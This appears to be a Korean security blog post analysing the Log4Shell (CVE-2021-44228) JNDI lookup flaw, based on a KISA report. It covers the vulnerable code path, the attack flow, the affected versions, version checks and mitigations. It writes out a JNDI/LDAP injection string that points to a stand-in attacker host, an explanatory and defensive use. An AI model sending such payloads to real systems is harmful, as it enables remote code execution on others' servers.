Log4Shell (Log4j 0day RCE, CVE-2021-44228)

Spring4Shell 관련 내용을 정리하다보니 Log4Shell 취약점에 대해서 정리한 내용이 없다는 걸 깨닫고 작성을 하게 되었습니다. 이제는 별로 관심을 받지 못하던 취약점이지만, 또 분석을 안할 수 없지 않겠습니까!

---

Log4j는 Apahce 재단의 무료 오픈소스 프로그램으로 자바 기반의 모든 애플리케이션에서 사용 가능하며 윈도우 환경에서도 활용되는 등 전 세계적으로 매우 폭 넓게 사용되고 있습니다. 특히 Log4j는 Apache Struts, Spring 등 각종 웹 프레임워크에서 로그 기록을 위해 사용하는 경우가 많았으며, Adobe 및 VMWARE 등 글로벌 기업에서 개발한 다수의 소프트웨어도 영향을 받는다고 알려졌습니다.

 

해당 취약점의 경우 알리바바社에서 11월 24일 최초로 발견 후 Apache 재단에 통보함으로써 알려졌으며, Apache 재단은 12월 6일 최초 보안 업데이트를 발표하였습니다.

 

해당 취약점이 발표된 후, 다양한 공격이 실제로 이뤄졌으며, 최초 공격은 MS의 마인크래프트에서 이뤄진 것으로 알려졌습니다.

Log4shell 타임라인 / 출처 : Kisa Log4j 위협 대응 보고서.pdf

---

Log4Shell 취약점

Log4Shell 취약점은 Log4j에서 구성, 로그 메시지 및 매개 변수에 사용되는 JNDI(Java Naming and Direcotry Interface)에서 발생하는 취약점으로 공격자는 Lookup(JNDI를 통해 찾은 자원을 사용하는 기능) 기능을 악용하여 LDAP(Lightweight Directory Access Protocol) 서버에 로드된 임의의 코드를 실행할 수 있습니다.

 

Log4Shell 공격 구문 : ${jndi:ldap://attacker1.kr/Exploit}

 

Log4j에서는 로깅을 위해 org.apache.logging.log4j.core.Logger.log 메소드를 사용하며, privateConfig.loggerConfig.getReliabilityStrategy()를 통해 설정 파일을 참고합니다.

출처 : Kisa Log4j 위협 대응 보고서.pdf

 

이후 nsLookups 옵션을 체크한 뒤 workingBuilder 변수에서 ${ 문자열을 찾아 해당 문자열이 존재할 경우 config.getStrSubstitutor().replace() 메소드를 호출합니다. 그리고 config.getStrSubstitutor().replace() 메소드는 value 값을 인자로 하여 StrSubstitutor.substitute() 메소드를 호출합니다.

출처 : Kisa Log4j 위협 대응 보고서.pdf

 

StrSubstitutor.substitue() 메소드는 전달된 공격 구문인 ${jndi:ldap://attacker1.kr/Exploit} 문자열에서 "$", "{", "}"을 제외한 값을 StrSubstitutor.resolveVariable() 메소드의 인자로 전달합니다. 이 값은 다시 resolve.lookup() 메소드로 실행됩니다.

출처 : Kisa Log4j 위협 대응 보고서.pdf

 

resolve.lookup() 메소드는 PREFIX_SEPARATOR를 기준으로 구분하여 prefix와 name 변수를 설정하고 prefix로 실행할 lookup() 메소드를 설정합니다.

출처 : Kisa Log4j 위협 대응 보고서.pdf

 

해당 취약점은 JNDI를 사용하므로 JNDILookup.lookup() 메소드를 실행하며, JNDILookup.lookup() 메소드는 다시 jdniManager.lookup() 메소드를 실행합니다. 취약점은 바로 jndiManager.lookup() 메소드로 인해 발생하게 됩니다.

출처 : Kisa Log4j 위협 대응 보고서.pdf

 

인자로 전달된 "ldap://attacker1.kr/Exploit"에 대한 검증 절차 없이 바로 lookup() 기능을 통해 접근을 시도하여 컨텍스트를 검색하기 때문에 공격자 LDAP 서버(attacker1.kr)에 Exploit Entity를 요청하게 되어 Exploit 됩니다.

출처 : Kisa Log4j 위협 대응 보고서.pdf

반응형

 

상세 개요도

1. 공격자는 쿼리 송신 서버에서 공격 쿼리를 웹 패킷에 담아 피해 서버에 보냄

2. 피해 서버의 취약한 Log4j는 공격자가 발송한 웹 패킷에 포함된 공격 쿼리 부부을 추출하여 다시 공격자의 쿼리 수신 서버로 전송함

3. 쿼리 수신 서버는 피해 서버에게 악성 Class 파일을 다운로드하라는 명령을 전달함

4. 피해 서버는 Class 파일 유포 서버에서 악성 Class 파일을 다운로드 받고 Class 파일에 정의되어 있는 명령을 실행함

5. 명령의 결과로 악성코드 유포지에서 최종 목적의 악성코드가 다운로드 됨

출처 : Kisa Log4j 위협 대응 보고서.pdf

---

영향을 받는 버전

- 2.0-beta7 ~ 2.17.0 버전 (Log4j 2.3.2, 2.212.4 제외)

 

취약 버전 사용 여부 확인 방법

1. Log4j를 사용 중인 제품 확인 링크

 

2. Linux에서 log4j 설치 버전 확인 (동일한 방법으로 log4j-core 버전 확인 가능)

dpkg -l | grep log4j
find / -name 'log4j*'

 

3. Windows에서 log4j 설치 버전 확인

출처 : Kisa Log4j 위협 대응 보고서.pdf

 

4. Java Spring Framework Maven 사용 시 log4j가 설치된 경로의 porn.xml 파일을 열어 log4j-core로 검색

출처 : Kisa Log4j 위협 대응 보고서.pdf

 

대응 방안

1. JAVA 버전에 맞춰 Log4j를 최신 버전으로 업데이트

Java Version	Log4j Version
JAVA 8 이상	2.17.1 이상
JAVA 7	2.12.4 이상
JAVA 6	2.3.2 이상

 

2. 업데이트가 어려운 경우, 임시 조치 방안으로 JndiLookup 클래스만 제거 (예시)

zip –q –d log4j-core-*.jar org/apache/logging/log4j/core/lookup/ JndiLookup.class

---

Reference

KISA 인터넷 보호나라&KrCERT